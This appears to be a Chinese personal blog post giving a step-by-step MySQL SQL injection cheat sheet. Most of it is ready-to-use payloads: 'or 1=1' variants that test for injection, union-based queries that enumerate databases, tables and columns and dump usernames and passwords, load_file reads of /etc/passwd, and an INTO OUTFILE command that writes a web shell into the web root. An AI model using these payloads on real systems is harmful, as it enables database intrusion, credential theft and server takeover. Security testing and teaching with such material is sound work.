SQL注入


SQL 注入

注:以下内容以 mysql 为例

一、判断注入点

or 1=1--+
'or 1=1--+
"or 1=1--+
)or 1=1--+
')or 1=1--+
") or 1=1--+
"))or 1=1--+

二、注释符

1. 单行注释

  • –+

2. 多行注释

  • /_ [SQ 语句] _/

三、MySql 注入常用系统表

1. information_schema

介绍:Information_schema 是 mysql 中自带的一个数据库,这个数据库中包含了其他数据的各种信息,包括数据库中的表名、权限、字段名等。

数据库 表名 描述
information_schema tables mysql 中存储的全部表名,使用 table_schema 指定数据库名
information_schema columns mysql 中存储全部表的字段名,使用 table_name 指定表名

四、基本注入步骤

1. 获取字段数

# 方法一
order by [num]
order by 6 正确
order by 7 错误
## 判断:字段数为6

# 方法二
union select 1,2,3,4,5,6   正确
union select 1,2,3,4,5,6,7 错误
## 判断:字段数为6

2. 获取数据库用户名

union select 1,user(),3,4,5,6 --+

3. 获取数据库名称

# 当前数据库名称
union select 1,database(),3,4,5,6 --+

# 所有数据库名称
union select 1,2,group_concat(schema_name),3,4,5,6 from information_schema.schemata --+

4. 其它内置函数

version()                        # MySQL版本
user()                           # 数据库用户名
database()                       # 数据库名
@@datadir                        # 数据库路径
@@version_compile_os             # 操作系统版本
sleep(n)                                     # 延时执行n秒

5. 读取和写入文件

# 如果结果返回正常,说明具有读写权限
and (select count(*) from mysql.user)>0 --+

# 返回错误,应该是管理员对数据库账户降权了
and (select count(*) from mysql.user)>0 --+

# 注:读取文件必须小于max_allowed_packet

# 读取文件
union select 1,load_file('/etc/passwd'),3,4,5,6 --+
union select 1,(select load_file('D:/1.php')),2,3,4,5,6 --+

# 写入文件
union select 'shell code' into outfile '/var/www/shell.php'--+

6. 查询表名

union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='DatabaseName' --+

7. 查询列名

union select 1,2,group_concat(column_name) from information_schema.columns where table_name='TableName' --+

8. 查询数据

union select 1,2,group_concat(id,username,password) from users --+

五、SQL 字符串函数

SQL 字符串函数主要用于字符串操作。
《SQL 字符串函数》

更多


文章作者: Truda
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Truda !
评论
  目录